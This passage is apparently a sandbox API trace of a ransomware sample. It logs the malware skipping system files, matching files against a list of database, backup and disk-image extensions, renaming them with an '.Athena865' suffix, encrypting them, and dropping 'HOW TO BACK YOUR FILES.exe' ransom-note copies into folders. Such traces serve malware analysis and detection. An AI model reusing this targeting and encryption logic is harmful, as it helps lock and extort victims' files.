returned 1 [0097.490] lstrcmpiW (lpString1="Sidebar.exe.mui", lpString2="windows") returned -1 [0097.490] lstrcmpiW (lpString1="Sidebar.exe.mui", lpString2="bootmgr") returned 1 [0097.490] lstrcmpiW (lpString1="Sidebar.exe.mui", lpString2="temp") returned -1 [0097.490] lstrcmpiW (lpString1="Sidebar.exe.mui", lpString2="pagefile.sys") returned 1 [0097.490] lstrcmpiW (lpString1="Sidebar.exe.mui", lpString2="boot") returned 1 [0097.490] lstrcmpiW (lpString1="Sidebar.exe.mui", lpString2="ids.txt") returned 1 [0097.490] lstrcmpiW (lpString1="Sidebar.exe.mui", lpString2="ntuser.dat") returned 1 [0097.490] lstrcmpiW (lpString1="Sidebar.exe.mui", lpString2="perflogs") returned 1 [0097.490] lstrcmpiW (lpString1="Sidebar.exe.mui", lpString2="MSBuild") returned 1 [0097.490] lstrlenW (lpString="Sidebar.exe.mui") returned 15 [0097.490] lstrcpyW (in: lpString1=0x241e8a2, lpString2="Sidebar.exe.mui" | out: lpString1="Sidebar.exe.mui") returned="Sidebar.exe.mui" [0097.490] lstrlenW (lpString="Sidebar.exe.mui") returned 15 [0097.490] lstrlenW (lpString="Athena865") returned 9 [0097.490] lstrcmpiW (lpString1="r.exe.mui", lpString2="Athena865") returned 1 [0097.490] lstrlenW (lpString=".dll") returned 4 [0097.490] lstrcmpiW (lpString1="Sidebar.exe.mui", lpString2=".dll") returned 1 [0097.490] lstrlenW (lpString=".lnk") returned 4 [0097.490] lstrcmpiW (lpString1="Sidebar.exe.mui", lpString2=".lnk") returned 1 [0097.491] lstrlenW (lpString=".ini") returned 4 [0097.491] lstrcmpiW (lpString1="Sidebar.exe.mui", lpString2=".ini") returned 1 [0097.491] lstrlenW (lpString=".sys") returned 4 [0097.491] lstrcmpiW (lpString1="Sidebar.exe.mui", lpString2=".sys") returned 1 [0097.491] lstrlenW (lpString="Sidebar.exe.mui") returned 15 [0097.491] lstrlenW (lpString="bak") returned 3 [0097.491] lstrcmpiW (lpString1="mui", lpString2="bak") returned 1 [0097.491] lstrlenW (lpString="ba_") returned 3 [0097.491] lstrcmpiW (lpString1="mui", lpString2="ba_") returned 1 [0097.491] lstrlenW (lpString="dbb") returned 3 [0097.491] lstrcmpiW (lpString1="mui", lpString2="dbb") returned 1 [0097.491] lstrlenW (lpString="vmdk") returned 4 [0097.491] lstrcmpiW (lpString1=".mui", lpString2="vmdk") returned -1 [0097.491] lstrlenW (lpString="rar") returned 3 [0097.491] lstrcmpiW (lpString1="mui", lpString2="rar") returned -1 [0097.491] lstrlenW (lpString="zip") returned 3 [0097.491] lstrcmpiW (lpString1="mui", lpString2="zip") returned -1 [0097.491] lstrlenW (lpString="tgz") returned 3 [0097.491] lstrcmpiW (lpString1="mui", lpString2="tgz") returned -1 [0097.491] lstrlenW (lpString="vbox") returned 4 [0097.491] lstrcmpiW (lpString1=".mui", lpString2="vbox") returned -1 [0097.491] lstrlenW (lpString="vdi") returned 3 [0097.491] lstrcmpiW (lpString1="mui", lpString2="vdi") returned -1 [0097.491] lstrlenW (lpString="vhd") returned 3 [0097.491] lstrcmpiW (lpString1="mui", lpString2="vhd") returned -1 [0097.491] lstrlenW (lpString="vhdx") returned 4 [0097.491] lstrcmpiW (lpString1=".mui", lpString2="vhdx") returned -1 [0097.491] lstrlenW (lpString="avhd") returned 4 [0097.491] lstrcmpiW (lpString1=".mui", lpString2="avhd") returned -1 [0097.491] lstrlenW (lpString="db") returned 2 [0097.491] lstrcmpiW (lpString1="ui", lpString2="db") returned 1 [0097.491] lstrlenW (lpString="db2") returned 3 [0097.492] lstrcmpiW (lpString1="mui", lpString2="db2") returned 1 [0097.492] lstrlenW (lpString="db3") returned 3 [0097.492] lstrcmpiW (lpString1="mui", lpString2="db3") returned 1 [0097.492] lstrlenW (lpString="dbf") returned 3 [0097.492] lstrcmpiW (lpString1="mui", lpString2="dbf") returned 1 [0097.492] lstrlenW (lpString="mdf") returned 3 [0097.492] lstrcmpiW (lpString1="mui", lpString2="mdf") returned 1 [0097.492] lstrlenW (lpString="mdb") returned 3 [0097.492] lstrcmpiW (lpString1="mui", lpString2="mdb") returned 1 [0097.492] lstrlenW (lpString="sql") returned 3 [0097.492] lstrcmpiW (lpString1="mui", lpString2="sql") returned -1 [0097.492] lstrlenW (lpString="sqlite") returned 6 [0097.492] lstrcmpiW (lpString1="xe.mui", lpString2="sqlite") returned 1 [0097.492] lstrlenW (lpString="sqlite3") returned 7 [0097.492] lstrcmpiW (lpString1="exe.mui", lpString2="sqlite3") returned -1 [0097.492] lstrlenW (lpString="sqlitedb") returned 8 [0097.492] lstrcmpiW (lpString1=".exe.mui", lpString2="sqlitedb") returned -1 [0097.492] lstrlenW (lpString="xml") returned 3 [0097.492] lstrcmpiW (lpString1="mui", lpString2="xml") returned -1 [0097.492] lstrlenW (lpString="$er") returned 3 [0097.492] lstrcmpiW (lpString1="mui", lpString2="$er") returned 1 [0097.492] lstrlenW (lpString="4dd") returned 3 [0097.492] lstrcmpiW (lpString1="mui", lpString2="4dd") returned 1 [0097.492] lstrlenW (lpString="4dl") returned 3 [0097.492] lstrcmpiW (lpString1="mui", lpString2="4dl") returned 1 [0097.492] lstrlenW (lpString="^^^") returned 3 [0097.492] lstrcmpiW (lpString1="mui", lpString2="^^^") returned 1 [0097.492] lstrlenW (lpString="abs") returned 3 [0097.492] lstrcmpiW (lpString1="mui", lpString2="abs") returned 1 [0097.492] lstrlenW (lpString="abx") returned 3 [0097.492] lstrcmpiW (lpString1="mui", lpString2="abx") returned 1 [0097.493] lstrlenW (lpString="accdb") returned 5 [0097.493] lstrcmpiW (lpString1="e.mui", lpString2="accdb") returned 1 [0097.493] lstrlenW (lpString="accdc") returned 5 [0097.493] lstrcmpiW (lpString1="e.mui", lpString2="accdc") returned 1 [0097.493] lstrlenW (lpString="accde") returned 5 [0097.493] lstrcmpiW (lpString1="e.mui", lpString2="accde") returned 1 [0097.493] lstrlenW (lpString="accdr") returned 5 [0097.493] lstrcmpiW (lpString1="e.mui", lpString2="accdr") returned 1 [0097.493] lstrlenW (lpString="accdt") returned 5 [0097.493] lstrcmpiW (lpString1="e.mui", lpString2="accdt") returned 1 [0097.493] lstrlenW (lpString="accdw") returned 5 [0097.493] lstrcmpiW (lpString1="e.mui", lpString2="accdw") returned 1 [0097.493] lstrlenW (lpString="accft") returned 5 [0097.493] lstrcmpiW (lpString1="e.mui", lpString2="accft") returned 1 [0097.493] lstrlenW (lpString="adb") returned 3 [0097.493] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0097.493] lstrlenW (lpString="adb") returned 3 [0097.493] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0097.493] lstrlenW (lpString="ade") returned 3 [0097.493] lstrcmpiW (lpString1="mui", lpString2="ade") returned 1 [0097.493] lstrlenW (lpString="adf") returned 3 [0097.493] lstrcmpiW (lpString1="mui", lpString2="adf") returned 1 [0097.493] lstrlenW (lpString="adn") returned 3 [0097.493] lstrcmpiW (lpString1="mui", lpString2="adn") returned 1 [0097.493] lstrlenW (lpString="adp") returned 3 [0097.493] lstrcmpiW (lpString1="mui", lpString2="adp") returned 1 [0097.493] lstrlenW (lpString="alf") returned 3 [0097.493] lstrcmpiW (lpString1="mui", lpString2="alf") returned 1 [0097.493] lstrlenW (lpString="ask") returned 3 [0097.493] lstrcmpiW (lpString1="mui", lpString2="ask") returned 1 [0097.493] lstrlenW (lpString="btr") returned 3 [0097.494] lstrcmpiW (lpString1="mui", lpString2="btr") returned 1 [0097.494] lstrlenW (lpString="cat") returned 3 [0097.494] lstrcmpiW (lpString1="mui", lpString2="cat") returned 1 [0097.494] lstrlenW (lpString="cdb") returned 3 [0097.494] lstrcmpiW (lpString1="mui", lpString2="cdb") returned 1 [0097.494] lstrlenW (lpString="ckp") returned 3 [0097.494] lstrcmpiW (lpString1="mui", lpString2="ckp") returned 1 [0097.494] lstrlenW (lpString="cma") returned 3 [0097.494] lstrcmpiW (lpString1="mui", lpString2="cma") returned 1 [0097.494] lstrlenW (lpString="cpd") returned 3 [0097.494] lstrcmpiW (lpString1="mui", lpString2="cpd") returned 1 [0097.494] lstrlenW (lpString="dacpac") returned 6 [0097.494] lstrcmpiW (lpString1="xe.mui", lpString2="dacpac") returned 1 [0097.494] lstrlenW (lpString="dad") returned 3 [0097.494] lstrcmpiW (lpString1="mui", lpString2="dad") returned 1 [0097.494] lstrlenW (lpString="dadiagrams") returned 10 [0097.494] lstrcmpiW (lpString1="ar.exe.mui", lpString2="dadiagrams") returned -1 [0097.494] lstrlenW (lpString="daschema") returned 8 [0097.494] lstrcmpiW (lpString1=".exe.mui", lpString2="daschema") returned -1 [0097.494] lstrlenW (lpString="db-journal") returned 10 [0097.494] lstrcmpiW (lpString1="ar.exe.mui", lpString2="db-journal") returned -1 [0097.494] lstrlenW (lpString="db-shm") returned 6 [0097.494] lstrcmpiW (lpString1="xe.mui", lpString2="db-shm") returned 1 [0097.494] lstrlenW (lpString="db-wal") returned 6 [0097.494] lstrcmpiW (lpString1="xe.mui", lpString2="db-wal") returned 1 [0097.494] lstrlenW (lpString="dbc") returned 3 [0097.494] lstrcmpiW (lpString1="mui", lpString2="dbc") returned 1 [0097.494] lstrlenW (lpString="dbs") returned 3 [0097.494] lstrcmpiW (lpString1="mui", lpString2="dbs") returned 1 [0097.494] lstrlenW (lpString="dbt") returned 3 [0097.494] lstrcmpiW (lpString1="mui", lpString2="dbt") returned 1 [0097.494] lstrlenW (lpString="dbv") returned 3 [0097.495] lstrcmpiW (lpString1="mui", lpString2="dbv") returned 1 [0097.495] lstrlenW (lpString="dbx") returned 3 [0097.495] lstrcmpiW (lpString1="mui", lpString2="dbx") returned 1 [0097.495] lstrlenW (lpString="dcb") returned 3 [0097.495] lstrcmpiW (lpString1="mui", lpString2="dcb") returned 1 [0097.495] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows Sidebar\\en-US\\Sidebar.exe.mui.Athena865") returned 70 [0097.495] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\en-US\\Sidebar.exe.mui" (normalized: "c:\\program files (x86)\\windows sidebar\\en-us\\sidebar.exe.mui"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\en-US\\Sidebar.exe.mui.Athena865" (normalized: "c:\\program files (x86)\\windows sidebar\\en-us\\sidebar.exe.mui.athena865"), dwFlags=0x1) returned 1 [0097.496] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\en-US\\Sidebar.exe.mui.Athena865" (normalized: "c:\\program files (x86)\\windows sidebar\\en-us\\sidebar.exe.mui.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0097.496] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=18944) returned 1 [0097.496] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0097.496] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d480 [0097.496] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5189a8 [0097.496] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ab8) returned 1 [0097.497] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0097.497] CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0097.497] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4d00, lpName=0x0) returned 0x17c [0097.498] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4d00) returned 0x100000 [0097.500] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ab8) returned 1 [0097.501] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0097.501] CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0097.501] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0097.501] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0097.501] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x520b60 [0097.501] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0097.501] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x520b60 | out: hHeap=0x4f0000) returned 1 [0097.501] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0097.501] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50bdf8 [0097.501] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0097.502] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0097.502] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0097.502] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0097.502] CloseHandle (hObject=0x17c) returned 1 [0097.502] CloseHandle (hObject=0x154) returned 1 [0097.502] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d480 | out: hHeap=0x4f0000) returned 1 [0097.502] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5189a8 | out: hHeap=0x4f0000) returned 1 [0097.502] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0097.502] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sidebar.exe.mui", cAlternateFileName="")) returned 0 [0097.503] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0097.503] ReleaseMutex (hMutex=0xec) returned 1 [0097.503] CloseHandle (hObject=0xec) returned 1 [0097.503] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets" | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets" [0097.503] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51bef8 | out: hHeap=0x4f0000) returned 1 [0097.503] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50da60 | out: hHeap=0x4f0000) returned 1 [0097.503] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets") returned 46 [0097.503] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\1BD9790F182919A0991409464F39DE77") returned 0xec [0097.503] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0097.503] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets" | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets" [0097.503] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0097.503] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.504] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0097.504] GetLastError () returned 0x0 [0097.504] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0097.504] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53ed08 [0097.504] ReadFile (in: hFile=0xf4, lpBuffer=0x53ed08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53ed08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0097.505] CloseHandle (hObject=0xf4) returned 1 [0097.505] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53ed08 | out: hHeap=0x4f0000) returned 1 [0097.505] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0097.505] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc44f03e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc44f03e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0097.505] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.505] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.505] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0097.505] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc44f03e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc44f03e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0097.505] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.505] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.505] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0097.505] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0097.505] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea8d4f6, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Calendar.Gadget", cAlternateFileName="CALEND~1.GAD")) returned 1 [0097.505] lstrcmpiW (lpString1="Calendar.Gadget", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.505] lstrcmpiW (lpString1="Calendar.Gadget", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.505] lstrcmpiW (lpString1="Calendar.Gadget", lpString2=".") returned 1 [0097.505] lstrcmpiW (lpString1="Calendar.Gadget", lpString2="..") returned 1 [0097.505] lstrcmpiW (lpString1="Calendar.Gadget", lpString2="windows") returned -1 [0097.505] lstrcmpiW (lpString1="Calendar.Gadget", lpString2="bootmgr") returned 1 [0097.505] lstrcmpiW (lpString1="Calendar.Gadget", lpString2="temp") returned -1 [0097.506] lstrcmpiW (lpString1="Calendar.Gadget", lpString2="pagefile.sys") returned -1 [0097.506] lstrcmpiW (lpString1="Calendar.Gadget", lpString2="boot") returned 1 [0097.506] lstrcmpiW (lpString1="Calendar.Gadget", lpString2="ids.txt") returned -1 [0097.506] lstrcmpiW (lpString1="Calendar.Gadget", lpString2="ntuser.dat") returned -1 [0097.506] lstrcmpiW (lpString1="Calendar.Gadget", lpString2="perflogs") returned -1 [0097.506] lstrcmpiW (lpString1="Calendar.Gadget", lpString2="MSBuild") returned -1 [0097.506] lstrlenW (lpString="Calendar.Gadget") returned 15 [0097.506] lstrcpyW (in: lpString1=0x241e8a6, lpString2="Calendar.Gadget" | out: lpString1="Calendar.Gadget") returned="Calendar.Gadget" [0097.506] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50da60 [0097.506] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7e) returned 0x5189a8 [0097.506] lstrcatW (in: lpString1="Calendar.Gadget", lpString2="\\" | out: lpString1="Calendar.Gadget\\") returned="Calendar.Gadget\\" [0097.506] lstrcatW (in: lpString1="Calendar.Gadget\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Calendar.Gadget\\HOW TO BACK YOUR FILES.exe") returned="Calendar.Gadget\\HOW TO BACK YOUR FILES.exe" [0097.506] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\calendar.gadget\\how to back your files.exe"), bFailIfExists=1) returned 1 [0097.510] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea6723d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Clock.Gadget", cAlternateFileName="CLOCK~1.GAD")) returned 1 [0097.510] lstrcmpiW (lpString1="Clock.Gadget", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.510] lstrcmpiW (lpString1="Clock.Gadget", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.510] lstrcmpiW (lpString1="Clock.Gadget", lpString2=".") returned 1 [0097.510] lstrcmpiW (lpString1="Clock.Gadget", lpString2="..") returned 1 [0097.510] lstrcmpiW (lpString1="Clock.Gadget", lpString2="windows") returned -1 [0097.510] lstrcmpiW (lpString1="Clock.Gadget", lpString2="bootmgr") returned 1 [0097.510] lstrcmpiW (lpString1="Clock.Gadget", lpString2="temp") returned -1 [0097.511] lstrcmpiW (lpString1="Clock.Gadget", lpString2="pagefile.sys") returned -1 [0097.511] lstrcmpiW (lpString1="Clock.Gadget", lpString2="boot") returned 1 [0097.511] lstrcmpiW (lpString1="Clock.Gadget", lpString2="ids.txt") returned -1 [0097.511] lstrcmpiW (lpString1="Clock.Gadget", lpString2="ntuser.dat") returned -1 [0097.511] lstrcmpiW (lpString1="Clock.Gadget", lpString2="perflogs") returned -1 [0097.511] lstrcmpiW (lpString1="Clock.Gadget", lpString2="MSBuild") returned -1 [0097.511] lstrlenW (lpString="Clock.Gadget") returned 12 [0097.511] lstrcpyW (in: lpString1=0x241e8a6, lpString2="Clock.Gadget" | out: lpString1="Clock.Gadget") returned="Clock.Gadget" [0097.511] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50da78 [0097.511] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x78) returned 0x501e28 [0097.511] lstrcatW (in: lpString1="Clock.Gadget", lpString2="\\" | out: lpString1="Clock.Gadget\\") returned="Clock.Gadget\\" [0097.511] lstrcatW (in: lpString1="Clock.Gadget\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Clock.Gadget\\HOW TO BACK YOUR FILES.exe") returned="Clock.Gadget\\HOW TO BACK YOUR FILES.exe" [0097.511] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\how to back your files.exe"), bFailIfExists=1) returned 1 [0097.516] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea6723d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CPU.Gadget", cAlternateFileName="CPU~1.GAD")) returned 1 [0097.516] lstrcmpiW (lpString1="CPU.Gadget", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.516] lstrcmpiW (lpString1="CPU.Gadget", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.516] lstrcmpiW (lpString1="CPU.Gadget", lpString2=".") returned 1 [0097.516] lstrcmpiW (lpString1="CPU.Gadget", lpString2="..") returned 1 [0097.516] lstrcmpiW (lpString1="CPU.Gadget", lpString2="windows") returned -1 [0097.516] lstrcmpiW (lpString1="CPU.Gadget", lpString2="bootmgr") returned 1 [0097.516] lstrcmpiW (lpString1="CPU.Gadget", lpString2="temp") returned -1 [0097.516] lstrcmpiW (lpString1="CPU.Gadget", lpString2="pagefile.sys") returned -1 [0097.516] lstrcmpiW (lpString1="CPU.Gadget", lpString2="boot") returned 1 [0097.516] lstrcmpiW (lpString1="CPU.Gadget", lpString2="ids.txt") returned -1 [0097.516] lstrcmpiW (lpString1="CPU.Gadget", lpString2="ntuser.dat") returned -1 [0097.516] lstrcmpiW (lpString1="CPU.Gadget", lpString2="perflogs") returned -1 [0097.516] lstrcmpiW (lpString1="CPU.Gadget", lpString2="MSBuild") returned -1 [0097.516] lstrlenW (lpString="CPU.Gadget") returned 10 [0097.516] lstrcpyW (in: lpString1=0x241e8a6, lpString2="CPU.Gadget" | out: lpString1="CPU.Gadget") returned="CPU.Gadget" [0097.516] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50da48 [0097.516] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x74) returned 0x501da8 [0097.516] lstrcatW (in: lpString1="CPU.Gadget", lpString2="\\" | out: lpString1="CPU.Gadget\\") returned="CPU.Gadget\\" [0097.516] lstrcatW (in: lpString1="CPU.Gadget\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="CPU.Gadget\\HOW TO BACK YOUR FILES.exe") returned="CPU.Gadget\\HOW TO BACK YOUR FILES.exe" [0097.516] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\cpu.gadget\\how to back your files.exe"), bFailIfExists=1) returned 1 [0097.522] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea8d4f6, 